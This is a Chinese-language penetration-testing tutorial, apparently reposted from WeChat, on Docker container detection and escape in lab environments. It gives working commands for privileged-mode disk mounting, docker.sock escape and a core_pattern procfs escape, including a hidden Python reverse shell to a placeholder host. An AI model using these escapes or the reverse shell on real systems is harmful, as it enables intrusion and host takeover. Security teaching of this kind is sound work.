云原生-Docker安全
https://wiki.teamssix.com/CloudNative/
1、Docker是干嘛的?
Docker是一个开源的容器化平台,用于构建、部署和运行应用程序和服务。它的主要目标是简化应用程序的打包、分发和管理过程,使开发人员能够更轻松地创建一致性和可移植性的容器化应用。
容器化应用程序: Docker允许开发人员将应用程序及其所有依赖项(例如库、配置和环境变量)打包到一个称为容器的独立单元中。这些容器可以在不同的环境中运行,而不会受到环境变化的影响,因此确保了一致的运行行为。
轻量级: Docker容器相对于传统虚拟机来说更加轻量级,因为它们与宿主操作系统共享内核,从而更加高效地使用系统资源。这使得Docker容器启动速度快,并且占用较少的系统资源。
可移植性: 由于Docker容器包含了应用程序及其依赖项,因此它们可以在不同的环境中轻松部署和运行,无论是在开发、测试还是生产环境。
版本控制: Docker容器可以通过版本控制系统(如Git)来管理,从而允许开发人员跟踪应用程序的不同版本,并轻松地回滚到先前的版本。
自动化部署: Docker容器可以与持续集成和持续部署(CI/CD)工具集成,使自动化部署变得更加简单和可靠。
资源隔离: Docker容器提供了资源隔离,可以限制容器的CPU、内存和网络资源使用,从而确保一个容器不会影响其他容器的性能。
生态系统: Docker拥有一个庞大的生态系统,包括数千个公开可用的容器镜像,这些镜像包含了各种不同类型的应用程序和服务,可以加速开发和部署过程
2、Docker对于渗透测试影响?
以下是Docker对渗透测试的影响:
环境隔离: Docker容器提供了环境隔离,允许渗透测试人员创建独立的测试环境,以模拟不同的攻击场景和目标系统。这可以帮助测试人员更安全地进行攻击模拟,而不会影响生产环境。
复现性: Docker容器可以帮助渗透测试人员精确地复现漏洞和攻击,因为容器中包含了应用程序及其依赖项的快照。这有助于验证漏洞和攻击的有效性,以及开发修复方案。
资源管理: Docker容器允许对资源进行严格的管理和限制,包括CPU、内存和网络资源。测试人员可以模拟资源受限的环境,以测试应用程序在资源不足情况下的行为和安全性。
快速部署: Docker容器可以快速部署和销毁,这对于进行大规模渗透测试、模拟恶意攻击和执行漏洞扫描非常有用。测试人员可以在需要时轻松创建多个容器实例。
工具和脚本: 许多渗透测试工具和脚本已经被Docker化,以便于部署和使用。这些工具容易通过Docker镜像或容器来获取,从而简化了渗透测试工作流程。
3、Docker渗透测试点有那些?
容器逃逸:
渗透测试人员可能尝试从Docker容器中脱逃,进入宿主系统。这可能涉及到利用容器运行时的漏洞或者不当的配置。
容器特权提升:
测试人员可以寻找容器中的特权提升漏洞,以获取更高的权限级别,可能会导致对宿主系统的更大访问权限。
容器间攻击:
渗透测试人员可以尝试在同一宿主系统上运行的不同容器之间进行攻击,尤其是当容器之间的隔离不足时。
镜像安全性:
渗透测试人员可以检查Docker镜像的安全性,寻找其中可能包含的漏洞、恶意代码或不安全的配置。
网络配置:
测试人员可以审查Docker网络配置,寻找可能的网络漏洞,包括容器之间的通信问题、不安全的网络设置等。
API和控制面板:
Docker的API和控制面板可能会成为攻击目标。测试人员需要确保它们受到适当的身份验证和授权保护,以防止未经授权的访问。
Docker Compose漏洞:
Compose来定义和管理多个容器的组合,测试人员需要检查Compose文件的安全性,以防止恶意修改或配置错误。
日志和审计:
渗透测试人员可以分析Docker容器的日志和审计信息,以查找异常或潜在的攻击迹象。
容器映像来源:
确保使用受信任的来源获取Docker镜像,以减少恶意或已被篡改的镜像的风险。
漏洞扫描:
使用漏洞扫描工具来检测Docker镜像和容器中可能存在的已知漏洞。
持续监控:
设置监控系统来实时监视Docker容器的活动,以检测潜在的安全威胁和异常行为。
4、前渗透-判断在Docker中
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643
方式一:查询cgroup信息
方式二:检查/.dockerenv文件
方式三:检查mount信息
方式四:查看硬盘信息
方式五:查看文件系统以及挂载点
方式六:环境变量
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"#举例
5、后渗透-三种安全容器逃逸
特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
知识点:
云原生-Docker安全-容器逃逸&特权模式
云原生-Docker安全-容器逃逸&挂载Socket
云原生-Docker安全-容器逃逸条件&权限高低
https://bbs.anhunsec.cn/d/611-ni-bu-zhi-dao-de-dockerrong-qi-an-quan
环境搭建
https://hub.docker.com
https://wiki.teamssix.com/CloudNative/#相关命令查询
查看镜像
启动
docker run -it -p 8080:80 e901498e651a
访问,账号:密码 admin:password,进去后创建数据库即可
将等级调成low
项目案例
容器检测
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643
直接传个在上传点上传个马子
判断docker环境
(因为权限问题,有些回显不全)
1.查询cgroup信息
cat /proc/1/cgroup |grep docker
2.检查/.dockerenv文件
3.检查mount信息
mount | grep '/ type'
4.查看硬盘信息
fdisk -l
容器输出为空,非容器有内容输出。
5.查看文件系统以及挂载点
df -h |egrep '(overlay|aufs)'
6.环境变量
env
容器逃逸-特权模式
再ubuntu的/
目录建立一个flag
flag{this is flag,doker is bypass}
如果再创建的镜像当中看到这个flag,证明逃逸成功
启动靶场:
docker run --rm --privileged=true -it alpine
检测环境:
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
判断特权:
cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff
查看目录:
fdisk -l
特权逃逸:
注意这里挂载点,是Type=Linux的
mkdir /test1 && mount /dev/sda5 /test1
判断结果:
cd /test/ && ls
容器逃逸-危险挂载
1、挂载Docker Socket逃逸
启动靶场:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:
docker exec -it with_docker_sock /bin/bash
检测环境:
ls -lah /var/run/docker.sock
挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
apt-get update && apt-get install curl && curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
2、挂载宿主机procfs逃逸
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs
启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:find / -name core_pattern
查找路径:(workdir) cat /proc/mounts | grep docker
写入文件:
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod +x /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py rcore" > /host/sys/kernel/core_pattern
cat >/tmp/x.c << EOF
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc x.c -o x
执行文件:
./x
nc -lvvp xxxx
模拟真实场景
1、高权限-Web入口到Docker逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
容器检测docker
whoami
cd / &&ls -la
cat /proc/1/cgroup |grep docker
mount | grep '/ type'
判断特权
cat /proc/self/status | grep CapEff
查看目录
fdisk -l
特权逃逸:
mkdir /test1 && mount /dev/sda5 /test1
判断结果:
cd /test/ && ls
2、低权限-Web入口到Docker逃逸(PHP)
(基本就无了,其实也有不过有点麻烦)
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
注意
补充:在上面去安装更新动静太大,也有可能无法更新源安装等意外情况
实战环境下docker内无gcc,有时curl,wget都无法使用,本地编译及文件上传解决
原文始发于微信公众号(WIN哥学安全):【值得收藏】你不知道的docker容器安全
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论